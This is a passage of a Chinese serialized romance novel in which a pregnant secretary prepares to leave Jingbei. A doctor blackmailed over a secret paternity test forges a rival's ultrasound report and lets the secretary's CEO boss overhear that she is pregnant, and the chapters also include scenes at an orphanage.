直接把她送到秦川诊室门口,又偷偷发挥小护士特权,把手里唯一一个加塞急诊号,给了商音。 原本两人还得等上一个小时,这下直接就能进去了。 秦川看到下一个病患突然被加塞换了人。 而来的人没有加塞急诊的必要,他的脸色不太好。 “商小姐,一般产后复查,不需要急诊号。” 商音坐下来,双腿叠放将手伸过去,“秦医生可能不认识我,我是个小网红,要是被人认出来会造成小规模堵塞,扰乱医院秩序。” 秦川正准备取消她的急诊号。 闻言,他放下鼠标,手指搭在了商音的手腕处。 他在国内学中医,出国研究西医,实力很强。 商音对他感兴趣很大一部分原因是,实力这么强,年轻又帅气的男人,不多。 “去做个彩超检查,看子宫恢复得怎么样。” 秦川开单,冷着一张脸。 这张冷脸,将商音想搭的话,全部吞回腹中。 她拿着缴费单站起来,转个身趁秦川看不见,一脸不死心地翻白眼。 “沈小姐。” 秦川手里握着一支笔,看向沈渺,“你有什么问题吗?” 沈渺上前两步道,“秦医生,我想拿一下病历。” “怎么?”秦川淡声反问。 “我很快去外地发展。” 沈渺点到即止。 秦川是聪明人,顿时明白了什么,“是因为工作?贺忱让你走的?” “正常工作调动。”沈渺觉得那个‘让’字,不太恰当。 “档案室这两天赶上排查,我帮你调一下,等档案拿出来我给你发消息。” 秦川答应得挺痛快。 可是档案不在他这儿。 “那我们改天再来。”商音上前挽住沈渺胳膊,拉着沈渺往外走。 两人出了诊室,去排队做彩超。 商音管小护士要了秦川的手机号。 “我这儿有微信。”沈渺提醒她,“秦医生的微信号不见得是手机号。” 商音把号码保存起来,“刚才那小护士说了,他给患者的微信一定是企业微信,但这手机号可是他的私人手机号,小护士费了心思才弄到手的。” 沈渺拿出手机,翻开秦川的微信看了一眼。 不是企业微信。 “听说他是秦家人,你听说过秦家吗?” 商音拉着她在等待区坐下,手边放着两瓶水,猛灌。 京北商圈外的家族,沈渺知道的不多。 她摇头。 “秦家在京北也挺有名的,书香门第,但是二十多年前爆出来一桩丑闻……” 商音打听过秦家,事无巨细地跟沈渺八卦。 几分钟后,商音去做检查。 沈渺坐在长椅上,消化着商音对秦川的爆料。 书香门第出身,本是秦家长子,集万千宠爱于一身。 但他父亲是TXL,为了传宗接代试管把他生下来,然后跟另外一个男人离家出走了。 这事儿没被爆出来,但在上流圈子已是公开的秘密。 秦家颜面受损,秦川在秦家的日子不好过。 秦家长子、长孙,被二房挤得没有地位。 现在整个秦家,算是落入二房手里了。 商音做完检查出来,衣服还没整理好就匆匆往外走。 “不是我说,TXL这东西,不遗传吧?” 126.告诉沈渺你给她的孩子做了亲子鉴定 沈渺:“……” 没遇到过,不知道。 “等我把他的嘴撬开,等着瞧。” 商音越说越对秦川感兴趣。 那端,秦川掏出手机,给贺忱发了一个消息出去。 【听说,沈秘书要离开京北。】 贺忱:【你耳朵有些长。】 他都还不知道沈渺的去处,已经传到秦川耳朵里了? 秦川:【听说沈秘书挺有能力的,劝你把人留住,免得日后后悔。】 贺忱:【有话直接说。】 他们认识这么多年,互相了解彼此。 秦川向来不是爱说的性子。 秦川:【字面意思。】 贺忱不信:【她跟你说的?她去医院了?】 秦川:【嗯,我是她的主治医生。】 他暗示着,他这个妇产科医生,是沈渺的主治医生。 贺忱却没回消息。 秦川将手机放下,继续看诊。 百荣顶层总裁办。 贺忱盯着那封沈渺整理好的文件。 他怎会看不出,沈渺刻意挑选了离着京北很远的城市。 窗外下着濛濛细雨,初夏涌来令人烦躁的热意。 窗户开着,细微的雨声传来。 贺忱点了根烟,起身走到窗边。 俯瞰着整个京北商业街,他的眸色深冷又复杂。 眸底复杂的情绪盘根错节,令人捉摸不透。 办公室的门被敲响,林昭推开门进来。 “贺总,程小姐来了,在楼下。” 贺忱侧过身来,周身是半散未散的烟雾,“让她上来。” 林昭打通前台电话,不出二分钟,程唯怡进入办公室。 “贺忱哥,我给你煲了汤。” 她将长发半扎,中间别了朵浅粉色的小花,穿着深灰色碎花连衣裙,陪着亮色系的高跟鞋。 外面下着雨,她鞋子上连一滴水都未沾。 “我说了,以后不用送这些过来。” 贺忱转身,靠在窗沿处吸了最后一口烟,将烟蒂掐灭。 他招手在身前挥了挥,散去烟雾。 隔着一团雾气,程唯怡与他对视,却觉得他棱角分明的面容,比平时多了一层疏离。 “贺忱哥,公司的危机……解除了吗?” 程唯怡轻咬着嘴唇,面色涌上自责。 贺忱鼻腔里发出一个单音节,“嗯。” “那就好。”程唯怡动了动嘴唇,想问问,沈渺怎么处理的? 刚刚过来时,她看到沈渺的工位空着,办公桌上什么都没有。 沈渺是被开除了,还是…… “奶奶的意思是,我们都去做个婚前检查。” 贺忱蓦地开口。 他话音刚落地,程唯怡猛地抬头看过去,眼底划过慌乱。 “贺奶奶什么意思?” 贺忱,“字面上的意思,我让秦川安排一下,会做一份假的检查单,不过医院那边,还是要去走个流程。” 提起秦川,程唯怡松一口气,“那,也行。” 贺忱‘嗯’了声,“就明天吧,我接你去医院。” 程唯怡点头,“行。” 末了,两人再无半个字可说。 没一会儿,程唯怡从贺忱办公室出来。 她回到车上,拿出手机给秦川打电话。 “明天贺忱哥要带我去找你做体检,我要你全程接手。” 秦川那端声音有些嘈杂,正在接诊。 他说,“贺忱给我发消息了,他只是让我给他做一份你的体检报告,别的没交代。” 程唯怡心里‘咯噔’一声,“什么意思?” 走个流程,是指每一项检查都做。 最后在检查单上动手脚。 可贺忱只让秦川弄检查单,却带她去找别人做检查吗? “字面的意思,我还有病人,挂了。” 秦川言简意赅,挂断电话。 程唯怡心里‘咯噔’一声。 她总觉得,贺忱有目的。 她背脊一凉,觉得初夏雨时的凉比深冬的冷还令人不寒而栗。 “秦川,你是不是跟贺忱哥说什么了!?” 那端静了几秒,电话被挂断。 不知是秦川没听见,还是听见了不愿意理。 “去医院!”程唯怡吩咐司机。 汽车原地掉头,直奔京北医院。 商音做完检查,拿着化验单来找秦川看诊。 “商小姐恢复得很好。” 秦川只看了一眼,就把化验单还回去了,“下次再复查,可以戴个口罩,走正常挂号流程,不要浪费急诊加塞。” 商音给秦川留下的印象,非常的不好。 真是一个糟糕的第二次深入接触,商音没想到,他这么有原则。 “秦医生,那你能不能帮我看一下剖腹产的刀口啊,一到下雨天就痒,而且留疤了,能不能帮我开一些淡化疤痕的药?” 商音还没有过男人,所以她是剖腹产生的商商。 秦川拧眉,“这都是正常现象,不用看,开个止痒淡痕的药膏,每天擦两次,会好一些。” “擦哪里?伤口吗?我一个人擦着不太方便。” 商音看着他开单动作又加快了些,生怕被赶出去,说不上话了。 可她越着急,说话越离谱。 小腹上的伤疤,怎么会擦不到呢? “擦不到让你老公帮你。”秦川把药单打印出来,放在她面前,“可以走了下一位。” 商音,“我没老公,我是单亲妈妈。” 她的试管,就是在这家医院做的。 秦川没看她病历,根本不知。 听到她这么说,眸底的冷意褪去一些,浮上来的是同情。 年纪轻轻,丧偶? 看出他眼底的同情,商音:“……” “走吧。”沈渺拉着商音往外走。 商音还想挣扎挣扎,最终满腹的话覆灭在秦川同情的目光中。 “你说他——” 刚出诊室门,商音就像问问沈渺,秦川是不是故意的!? 话没说完,手腕上突然一紧。 沈渺拉着她的手,收缩了力量。 她顺着沈渺的目光看去,刚好看到程唯怡。 “你怎么在这里?” 程唯怡问完,才想起来沈渺的主治医生,是秦川。 沈渺理都没理她,拉着商音走了。 程唯怡朝她背影翻白眼,顾不上为难,径直进入秦川办公室。 “秦川,明天贺忱哥要带我来这里做体检,你得帮我。” 她进来以后,保镖将看病的患者驱逐出去。 此刻,办公室只有她和秦川两个人。 “帮不了。” “那行,我现在就去告诉沈渺,你借口她腹中孩子有问题,用羊水穿刺给她做了亲子鉴定。” 这件事情曝光,秦川的前途就毁了。 127.身上没钱了,你还要走? “你是贺忱哥最信任的人,他如果知道你干的这些事情,会在你前途尽毁时,落井下石,秦家也会趁机对你穷追不舍……” 程唯怡细数她能给秦川带来的每一个危机。 每一个下场,都不是秦川能承担得起的。 阳光笼罩秦川,他周身弥漫着一股冻彻心扉的冷意。 ‘啪’的一声。 不知过了多久。 秦川手中的笔被掰成两段。 他看似如常的面色,隐着一层甚浓的低气压。 “程唯怡,你最好别落在我手里。” 咬牙切齿,字字句句在牙缝里蹦出来,他的目光瞬间锋利起来。 赌赢了。 程唯怡的心都快跳到嗓子眼。 了解秦川的都知道,他像一个亡命赌徒。 敢跟他赌的人,得做好了赌不赢被他报复的准备。 “明天,交给你了。” 程唯怡强压着那股心惊,镇定下来跟他说完,转身就走了。 秦川冷了眼她离开的背影—— —— “程唯怡跟秦川也认识啊?” 车上,商音回忆着程唯怡推开门,直接进入秦川办公室的画面。 沈渺轻点了下头,“或许吧。” 贺忱跟程唯怡自幼就认识,他们有共同认识的人,不足为奇。 “这错综复杂的关系。”商音捏了把汗,“你家祖宗一定在地下烧香拜佛,把好运都给你用上了。” 京北这地方,说大挺大说小可不小。 但同在一个圈子里,尤其上下班抬头不见低头见。 沈渺能把怀孕这事儿瞒到今天,可不是‘实力’的问题,真要说运气。 “我家祖宗干脆给我指条路得了。” 沈渺嗤笑。 她想,总有一条路是能安然无恙离开京北的。 只是她摸不到。 祖宗在下有灵,给她托梦,告诉她用什么方式能离开。 顺便再说说,以后怎么赚大钱,把孩子抚养长大。 最好能富可敌国,就算贺忱发现这孩子是他的,抢也抢不走。 异想天开了一把,沈渺舒一口气,看着窗外飞流而逝的景色。 过得真快,已经快夏天了。 回想年前她用商商试探贺忱那晚的情景,还历历在目。 尤其打开门,贺忱径直进入她家中,看都不曾看她一眼。 以及那封抚养权协议书。 每一帧,都令沈渺的心情直落谷底。 还有那晚贺忱的每一句话。 回去的路上,沈渺收到林昭发来的消息。 是一些工作上的问题,她如实告知。 【沈秘书,你什么时候回来?贺总还没说吗?】 交接完工作,林昭又问了这么一句。 沈渺怔了好一会儿,她突然反应过来自己即将调职的事情,竟是还没人知道。 她思忖着回复消息:【贺总还没给准确答复。】 林昭:【新闻已经压下去了,董事们也没再提你的事情,贺总到底怎么想的?】 网上的新闻已经消失得一干二净。 林昭为这次项目做了损失预算,保守估计损失八位数。 沈渺握着手机的手收拢,她也猜不透贺忱的想法。 林昭又发来消息:【不过你别担心,这次项目所有损失,贺总一力承担,只为保你,你迟早能回来的。】 调职也不是开除,董事们那边也交代不了。 沈渺竟是忘了这茬。 而这茬,竟是贺忱用这种方式来解决的。 她没再回林昭的消息,因为不知道怎么回。 趁着时间还早,两人去了一趟孤儿院。 “你们可算来了,上次那个临时工招呼都不打一声就跑了,一下子让我忙得不可开交。” 浅姨指着院子外面丢的一堆脏衣服,“渺渺,你快去洗一下,天儿不冷了用手吧,省点儿电费。” 商音,“她怀着孕呢。” 浅姨怔了下,面色不悦,“我忘了这茬,那你去。” “我也不去,我哺乳期。”商音拉着沈渺进屋,“我们是来看卷卷的,其他孩子我帮你照看一下,你自己洗去。” 浅姨气的抬脚跟上来,“我这么大年纪了,让我干活?” 商音推着沈渺往屋子里走,“更年期,有气儿没地撒,就该找个地方发泄多余精力,不然呢?你总不能趁着我们不在,冲孩子们撒气吧。” 说话间,两人进了屋子,商音顺手把门关上了。 浅姨被关在门外,耳畔回荡着商音末尾那句。 她喉咙一紧,到底还是没推门进去。 隔着窗户,沈渺看到浅姨去院子里洗衣服了。 她在卷卷旁边坐下,握着卷卷的小手,“卷卷,最近怎么样?” “最近好多了,能吃能喝能跳。”卷卷状态看起来好了不少。 原本光秃秃的头上,也长出了绒毛黑发。 商音白了眼窗外,转而朝着卷卷笑眯眯的,“状态这么好啊?我听说只要吃药就会一直没食欲啊。” “我没有吃药啊。”卷卷脸上难得有了笑容,“浅姨说我不用再吃了。” 沈渺跟商音对视一眼,从彼此的眼眸深处,看到了诧异。 出院时,医生明明说过,不能断药。 商音起身朝外走,“我去外面看看。” 沈渺点了下头,陪着卷卷,目光落在窗户外。 她看到商音去了浅姨身边。 “卷卷的药停了?”商音直接问,“医生说不能擅自停药。” 浅姨将衣服丢入洗衣机里,她看了商音一眼,“没停。” 商音,“卷卷说停了。” “她小孩子闹着不想吃药,我把药给她碾碎了丢饭里了。” 浅姨敷衍着,“你们又不伺候孩子,哪里懂这么多?” 商音说,“你只要别把药停了就行。” “停什么药啊?”浅姨挥挥手,“你去厨房看看,我烧着开水呢。” 看她忙活着,商音转身进厨房。 她前脚走,后脚浅姨将衣服丢下,将手往身上蹭了蹭,转身朝沈渺那屋子里跑。 商音出来的急,没关门,她掀开帘子进屋,没等出声,就听到沈渺跟卷卷聊天。 “放心,渺渺姐走了也会定期回来看你的,你乖乖吃药,等着合适的骨髓移植,以后身体就会彻底好起来啦,然后你就可以回学校,再过几年大学毕业,能赚钱了,你可以来找渺渺姐,好不好?” 卷卷声音不舍,“渺渺姐姐,你到底要去哪里啊?一定要走吗?” 没等沈渺回答,浅姨冲进来,“身上都没钱了,你还是要走啊?” 128.你发现我骗了你,你会怎么做? 浅姨突然闯进来。 沈渺和卷卷皆是吓了一跳。 两人齐齐看过去。 浅姨已经走到她们跟前了。 “去哪儿啊?” 听她凌厉和不满的语气,好像沈渺犯了什么弥天大错。 “还不确定。”沈渺松开卷卷,她站起来整理了下衣服,往外走。 浅姨的状态,实在不适合在卷卷面前交谈。 她前脚出来,后脚浅姨就跟出来了。 “一问一个不确定,证明你还没有计划好,大着个肚子是要到哪里去?你怀孕这事儿我还没跟你探讨完呢,趁着现在还不太显怀,孩子不是很大,赶紧做了去,还不受罪……” 沈渺猛地顿住脚步。 她回头打断浅姨的话,“这是一个孩子,是一条生命!你怎么能随随便便说出这么无情的话来?” “我这是为你好!”浅姨扯着脖子反驳。 沈渺,“真是谢谢了,以后把这多余的好用在孩子们身上吧。” “你……” “我们现在不算孤儿院的人。” 听到她们争吵,商音在厨房出来,她径直站在沈渺前面,双手抱臂看着浅姨。 “这些年,我们两个给孤儿院的钱早已经还清了孤儿院对我们的养育之恩,我们还愿意供养孤儿院是心疼这些孩子,是心善,是有良心!你少道德绑架,不然我们翻脸不认人,一分钱也不给了!” 商音话是这么说,可到底还是狠不下心来。 从孤儿院出来的她们,从水深火热中爬出来的。 见不得孩子们跟着水深火热。 但浅姨不敢赌,立马改了话,“你们的事情自己决定就好了,我不是非要管你们,是站在过来人的角度上发表意见而已。” “你是过来人,但不是我们的什么人,少发表些有的没的。” 商音拉着沈渺又朝卷卷那屋走去。 两人几乎每次回来,都会因为一些事情跟浅姨发生口舌。 气归气,但习以为常,每次都抱着来都来了陪陪孩子们的心态,留下来。 吃饭时,饭桌上的气氛都不太对。 但几个人都习惯在这种微妙的气氛中相处。 饭后两人又陪卷卷玩儿了一会儿,然后才离开。 浅姨坐在床上,看着她们上了车,深吸一口气掏出手机拨出一通电话。 “沈渺又要走了,这次应该是真的,她都来跟卷卷告别了,一定得再想想办法……” —— 京北第一医院。 贺忱与程唯怡一同进行体检,抽血化验各个项目。 直到查妇科,程唯怡一个人进去,贺忱等在外面。 检查室内,金发碧眼的外国医生坐在那里。 他转动机器,操着卷舌音很浓的腔调说,“躺下。” 程唯怡大脑飞速运转,直觉告诉她不对劲。 京北医院有外籍医生不稀奇。 稀奇的是,只是一个做彩超的,怎么会是外籍医生!? 她迟疑片刻问,“你是秦川的老师?” “你认识我?”外国医生诧异的看她一眼。 程唯怡顿时周身血液凝固! 贺忱竟然把秦川的老师请到国内来了! 就是为了给她检查,治疗她—— “秦……秦川?” 外国指了指楼上,“这个点,他应该在坐诊。” 程唯怡深吸一口气,难不成……被秦川给耍了? “躺下吧,别紧张,一个普通的检查而已。” 国外医生推了推鼻梁上的眼镜。 程唯怡站在那儿不动,她下意识摸向口袋,可口袋里空空如也。 她的包在贺忱那儿,手机在里面。 想给秦川打电话问问,却…… “程小姐,你不用太紧张。”见她站在原地不动,国外老师拍了拍床,“先躺下来好吗?外面还有人等着。” 程唯怡深吸一口气,强忍着跑出检查室的冲动,她在床上平躺下来。 “撩起肚子。” 国外医生整理着器械,看她僵着不动,又说。 程唯怡的手捏着衣角,“您……我突然想起来一件事情,想跟秦川说,您能帮我打个电话吗?” “做完检查,你可以去楼上找他。” 国外医生已经准备好,他看向程唯怡,挑了下眉,示意程唯怡快一些。 程唯怡轻轻将衣服往上来,动作缓慢。 “就我打个电话不行吗?我就在电话里说一句。” 国外医生戴着口罩,蓝褐色的眼眸划过一瞬的不耐。 “程小姐,我现在在工作。” 拒绝的意思,不言而喻。 程唯怡的心提到嗓子眼,她只能将衣服掀起来。 肚子上凉飕飕的,冰冷的仪器压下来,凉意更浓。 “你这……” 国外医生不等说完,一阵脚步声在内门传来。 下一秒,秦川出现在检查室,他拿着手机,“师父,科研室那边有突发情况,您的电话打不通。” 他的话还没说完,国外医生就放下机器,立马起身,从他手里把手机接过来。 程唯怡吞了吞口水,扭头看过去。 “我来做,您去忙。”秦川坐下,接过机器,在程唯怡肚子上照来照去。 国外医生在内门离开。 秦川从口袋里拿出一个U盘,插入机器中,导入一张照片。 “起来吧。” “你去哪里了!”程唯怡立马整理好衣服起来,质问,“差一点儿你就来晚了!” 秦川将那张彩超照片,导入程唯怡检查报告上,“程小姐那么笃定拿捏住了我的软肋,怕什么?” 他有些阴阳怪气。 “你故意的是吧?”程唯怡脸色有些不好。 秦川将东西打印出来,交给她,“拿着你要的东西,滚。” 程唯怡拿过报告单,冷哼一声推门出去。 她前脚走,后脚国外医生就回来了。 秦川拿回手机,起身退到一旁。 国外医生看着检查报告,倒吸一口凉气,“这哪里有办法?只怕,要让贺总失望了。” “师父,您忙,我先回去了。”秦川目光阴郁,转身上楼。 约莫半小时后,贺忱拧着眉来到秦川办公室。 “你师父比你当初说的还严重,他也没有办法。” 贺忱指骨捏着眉心,面色不佳到极点。 秦川眸光微动,“是吗,那真是遗憾。” “帮我把这份体检报告弄一下。”贺忱将程唯怡的体检报告交给他,“发我邮箱。” 说完,他起身往外走。 眼看他就要走出诊室,秦川站起来问,“贺忱,如果有一天你发现我骗了你,你会怎么做?” 129.秦川设局引沈渺 贺忱推开门的动作没停。 “大男人哪那么多矫情?敢骗我拿你狗命来还。” 他不以为意的声音,是对他们兄弟情的笃定。 是对秦川的信任。 秦川坐回椅子上,唇角扬起一抹苦涩的弧度。 良久,他的眼眸渐渐变得深沉。 程唯怡,等着瞧! —— 周末前一天,沈渺接到秦川的消息,约她明天到郊区的茶庄见面。 “他约你了?” 商音听她说了,差点儿没从床上跳起来,“他对你有兴趣?虽然我这生过孩子的确实离谱,可你还怀着啊!” 沈渺把手机关了,戳了戳商音的头。 “他是要给我病历档案。” 商音揉了揉脑门,‘哦’了一声,跌回被子里,“你害怕他干坏事啊?那我陪你去?” “倒是不怕。”沈渺摇摇头,“我就是好奇,他为什么约到那么远的地方,而且他可以交代给医院护士,我过去拿一趟就是了。” 直觉告诉沈渺,秦川带着目的。 可她又实在想不透,秦川能有什么目的? “他还能吃了你啊?”商音抬手搓着头,像美人鱼一样躺在床上看着沈渺,“我陪你去,他要是敢对你图谋不轨,我替你挡着。” 沈渺嗤笑,想不出秦川能对她图谋不轨。 倒是想得出她把秦川扑倒的画面。 “我还是问问什么意思吧。” 她给秦川回了一个‘?’。 秦川:【我明天休息,不小心把你的档案带回家了,过几天我有事休假,没时间送回医院,麻烦你来茶庄取。】 说完,许是怕沈渺过不来,他又添了一句。 【你要是不着急,过几天再来医院拿。】 沈渺想了想答应,明天去茶庄拿。 调职随时都会下来结果,尽早准备好一切为妙。 “真不用我陪你去啊?” 直到沈渺出发的前一刻,商音第N次十分认真地问。 “不用了,你陪着商商吧,他这两天挺粘你的。” 商商认人了,到了恋母特别严重的时候。 只要有一会儿看不到商音就哭。 这不影响商音工作,毕竟她在晚上商商睡了以后才直播。 可严重地影响了商音休息,她每天的睡眠不足六个小时,一早就得爬起来陪商商。 沈渺这一来一回,至少两三个小时。 她想让商音多休息一会儿。 出了家门,她打车去的茶庄。 正逢周末,出行的人多,有些堵车。 原本不到一个小时的路程,硬生生花了一个多小时才到。 约好的上午十点,沈渺踩着点进入茶庄。 “您好,请问有预约吗?” 服务员立刻上前来邀请。 沈渺,“秦川秦先生。” “好的,您跟我来。”服务员拿着对讲机引着沈渺朝顶楼VIP走,“秦先生的客人到了。” 没几秒,对讲机传来声音,“好的,已经转告秦先生。” 这家茶楼有百年历史,茶香味四溢。 四周静悄悄的,沈渺穿着平底鞋踩在大理石上,发出细微的声音十分有音律。 顶楼的VIP区,每一扇门都有半遮的草帘,依稀可见包厢内的景象。 “沈小姐您好,秦先生在里面等您。” 服务员在一间包厢门口停下,笑着将门平移推开。 包厢分两间,里面一间房门半敞。 秦川在外面的方桌前坐着,他行云流水地沏茶。 “秦医生。”沈渺走进来。 “麻烦沈小姐这么远跑过来一趟了。” 秦川抬了抬手,示意沈渺坐下。 沈渺没看到病历档案,她客气道,“我就不打扰您忙了,您把档案给我吧。” “抱歉,档案在车上,已经让服务员去拿了。” 秦川推了推鼻梁上眼镜,将对面位置上的茶杯里添满茶水。 “稍等片刻吧,放心这茶孕妇能喝,刚好我还想说两句。” 半敞的门内突然传来一阵细琐声。 里面有人,想必是秦川约过来的。 沈渺不自觉地拧了拧眉,思忖片刻还是坐下来。 “谢谢秦医生。” “沈小姐现在怀孕快二十二周了,孕中期相对来说较为安全,虽然你以后不在我这里看诊了,但我还是想提醒两句,孕晚期不能忽视。” 秦川事无巨细地交代。 “目前你的胎儿发育较小,建议你后期多补充营养,不要过度劳累,最好能停掉工作安心度过孕晚期。” 这些,沈渺都知道。 或许是等待期间,让她坐在这儿干等过于尴尬。 所以秦川说了些有的没的。 沈渺点头附和着,“知道了,谢谢秦医生。” “再说个孕晚期最禁忌的事情。” 秦川品了口茶,好一会儿他将茶盏放下,“没见过沈小姐的老公,但你这么年轻想必他也是年轻气盛的,孕晚期千万别上床,免得造成早产。” 孕晚期最禁忌的事情,涉及到了最私密的问题。 若秦川说这话时,他穿着白大褂,他们身处医院诊室,沈渺能坦然回一句‘知道了’。 可这环境和这话题—— “沈小姐,怎么了?” 见她不说话,秦川一脸义正言辞,“难道说,这一点做不到吗?” “当然不,没有。”沈渺忙不迭否认。 “我想你应该是心中有数的性子。”秦川颔首了下,“是不是你老公不太配合?今天是你老公陪你来的吗?要不要我跟你下楼,跟他聊两句?” 沈渺再次摇头,“不用,谢谢秦医生的好意,我……们,都懂。” 话到嘴边的‘我都懂’,硬生生憋了下变成‘我们都懂’。 包厢门被人从外面推开,一个男服务员拿着一把车钥匙和一个档案袋进来。 “直接交给这位小姐吧。” 秦川接过车钥匙,示意服务员把档案病例交给沈渺。 沈渺起身接过来,轻声跟服务员道谢后,转身看向秦川。 “谢谢,秦医生,再会。” “再会。”秦川起身送她到包厢门口。 一直到沈渺下楼,身形消失不见,秦川才折回包厢。 他看了眼半敞的内间包厢门,顿了下才进去。 双人长桌上摆放着纯木质茶具,更浓的茶香味迎面扑来。 桌上原本相对而放的两个小酒杯,一个端端正正摆放在那里,一个七扭八歪地倒在桌子上。 茶水漫了一桌。 而那儿坐着的男人,目光深凝,正盯着秦川看。 “贺忱,怎么了?” 秦川问。 130.贺忱得知沈渺怀孕! 贺忱下颚线条清晰,他抵在桌沿的手筋络凸起,手指还微湿。 “你见的人是谁。” 秦川在他对面坐下,“哦,我忘记了,那是你的秘书,该叫她进来打个招呼的。” 贺忱呼吸一滞。 原本微拧着的眉骨,在一瞬间紧紧地拢起。 沈渺? 怀孕二十二周? 胎儿发育较小? 孕晚期千万别上床? 孕期的知识,贺忱一概不知。 这段对话,除了沈渺的声音很熟悉外,其他都是陌生的。 陌生到,他觉得那不是沈渺。 只是声音相似。 可太过熟悉的声音,又怎会认错呢? “听说她因为工作安排,要去外地了。今天来找我拿孕检档案的。” 秦川将贺忱的茶杯扶正,倒上茶水。 “你见过她老公吗?我见她好几次,都不是她老公陪着来的,不知道的还以为她没有老公。” 听似试探的话语,一下下敲在贺忱的心头。 贺忱薄唇抿成一条直线,周围安静的环境令他心里一阵慌乱。 他站起来拿上外套就走。 远去的脚步声沉闷规律,直至消失不见。 秦川盯着他刚刚坐过的地方,一动不动。 他的错误,只能弥补到这儿了。 离开茶庄,沈渺上了出租车,才感觉整个人都轻快不少。 仔细回味秦川那些话,处处看似正常,却又处处透着不正常。 沈渺想到那半扇敞开的门,那一声细琐杂乱,越是回想越让她心里乱糟糟的。 回去路上,她接到商音的电话。 等不及回家,她言简意赅将秦川那些话说了一遍。 “别多想,医生眼里无男女,别说是提醒你别跟老公上床,你就是扒了裤子躺在他面前,他也没有邪念,满脑子都是病情。” 商音有过生产经验,脱光了上手术台做剖腹产。 那些医生就看着她光溜溜的身体,都见怪不怪了,可见医生跟他们正常人是不一样的。 尤其妇科医生。 “那是我多想了。” 沈渺不清楚,秦川跟贺忱的关系到底如何。 秦川在六七年前就出国了,那时沈渺还没跟贺忱。 所以她根本不知道,六七年前贺忱跟秦川是京北公子哥圈里有名的二人组。 两个人关系好到,一度传出一些传闻。 沈渺租的房子快到期了,她打算回去拿一些东西,暂时放到商音那儿去。 计程车在她的出租房楼下停下,她交了钱下车,上楼。 计程车前脚离开,后脚劳斯莱斯就停在了单元门口。 贺忱从车上下来,看了眼单元楼门口,眸光一深。 他抬脚进入单元楼。 此刻,楼上。 短短几天不上班,沈渺就被养懒了。 不过是起了个早,坐车时间久一些,她就感觉有些乏。 她进屋后瘫在沙发上休息了一会儿,一想到收拾东西拖着行李箱到商音那儿去,就觉得乏累。 她休息了好一会儿,才起来慢吞吞收拾东西,放入二十寸的行李箱里。 不过收拾几件衣服,她背上出了一层薄汗,倦意又涌上来。 她正欲坐到沙发上休息会儿再走,门铃突然响起。 ‘叮咚叮咚’。 沈渺起身朝门口走去,她先在猫眼往外看了一眼。 没看到人,她小心将门拉开一条缝。 “当当当当!” 商音探头进来,手里拎着两份冰激凌,“想不想吃?” “你怎么过来了?” 沈渺把门完全打开,接过冰激凌说,“你不是说不让我吃这东西吗?” “不能多吃,偶尔吃一次没事。” 商音走进来,拖过她的行李箱,“你一个大肚婆,我怎么放心让你一个人来收拾东西啊,走,接你回家。” 她示意沈渺换鞋。 沈渺换好鞋,拎着冰激凌跟在商音后面下楼。 她小口小口吃着冰激凌,凉丝丝的甜甜的在她唇腔里化开。 她眯起眼睛,一脸满足。 “我陪着商商睡了一觉,现在精力充沛,等会儿找个地儿吃饭?” 商音把她行李放在后备箱。 沈渺把她的冰激凌打开,递到她嘴边喂她,“不了,商商看不到你又要闹了。” “月嫂带他在车上。”商音看了眼后座。 隔着窗户,沈渺看不清里面的景象。 但依稀看出里面有人影晃动。 “吃完了再上车,不然把我儿子馋坏了。” 商音放好东西接过冰激凌,大口大口地吃。 沈渺也加快了吃的速度,“等会儿去哪里?” “我家附近商场新开了一个餐厅,环境和不错,等会儿去看看。” 商音看她一眼,“等走了,咱们就吃不到这边的口味了。” 提到走,沈渺的心里就虚虚的,贺忱还没给她回复。 这都过去快一个星期了。 正想着,她的手机骤然响起。 是贺忱打来的电话。 沈渺把冰激凌交给商音,冲商音‘嘘’了一声。 “贺总。” 她接电话时,人都不由自主的站直了身体。 那端,确实一阵安静。 沈渺等了几秒,看了眼手机界面,确定没挂断,她又喊了一声。 “贺总?” “你在哪儿。” 沈渺静默数秒道,“在外面。” 她家楼下,确实算外面。 这个点儿,快中午了,只怕贺忱是让她下午去一趟公司? 沈渺正在等贺忱下文时,突听贺忱道了句,“知道了。” 然后,电话挂了。 忙音一阵阵传来,沈渺人都蒙了。 “怎么?”商音看她一脸懵,“给你发配到边疆去了?” 沈渺摇头,“他问我在哪里。” 商音眉尾一挑,示意她继续说。 她继续说,“然后就挂了。” “啊?”商音一愣,“你刚刚说的是在外面,你要是说在家里,他是不是就来找你了?” 沈渺下意识否认,“不可能,他有事会打电话。” 现在,任何事情都没有必要面谈。 除非调职确定好,她回公司办理手续,去都去了本着人道主义,她再跟贺忱这个上司,道个别。 想不通这通突如其来的电话,沈渺将手机放下,扭头去商音那儿拿冰激凌。 结果一抬头才发现,商音手里只剩下两个冰激凌的空壳子了。 “你怎么把我的都吃完了!” 商音把空壳子往沈渺面前一递,“还有一层,你舔舔?” 沈渺理都不理她,拉开车门上去,坐稳后转身正准备逗一逗商商。 目光略过车窗外一抹熟悉的身影,霎时一个激灵。 131.贺忱:查清楚这个孩子是谁的! “你下来,旁边那家商场还有一家冰激凌店,我再去给你买一个,不过只能买个小的……” 商音走过来,挡住她视线,敲了两下车窗。 见她不下来,商音直接把门打开,拉她下车。 沈渺猝不及防地被拉下车,目光一颤越过商音看向那位置。 小区角落树荫下,贺忱方才站在那里的画面,十分清晰。 让她想起有一次贺忱来这儿接她。 那时是冬天,枝杈干枯挂着雪霜。 贺忱穿着黑色呢大衣,站在那里等着她下楼。 恍惚间,画面重合。 只是,树荫下那抹身影,消失不见了。 树荫葱郁,被照射下来的阳光打出阴影,光线有些昏暗。 哪里有贺忱? “嘿,看什么呢?” 商音见她盯着一个地方不动,抬手在她面前招了招。 沈渺蓦地回神,她轻摇头,“没事,你刚说什么?” “我说带你去就近的商场买冰激凌吃。” 商音顺着她目光,往那棵树下看。 “不用了,我有些饿了,去吃饭吧。”沈渺示意她上车。 末了,沈渺先弯腰上了车。 商音给她关上车门,往驾驶位绕的时候,又往树荫下看了一眼。 那棵树有些年头,很是粗壮。 依稀可见一抹黑色衣角露出来。 商音开车门的动作一顿,眼眸划过一抹惊讶,很快又恢复如常,上车了。 “走。” 她驱车驶离小区,透过后视镜往那颗树看。 拐弯时,她清晰的看到了树后站着一个人。 贺忱劲瘦精壮的身子抵着树干,插在兜里的手腕处挂着黑色西装。 他另一只手拿着手机,正在打电话。 “林昭,我要沈渺这一年来所有动向的详细信息,事无巨细。” “沈秘书?”林昭惊讶不已,“贺总,出什么事情了吗?” 贺忱目光郁沉,“半小时之内给我。” 半个小时,要近一年的所有动向,还事无巨细,是个难题。 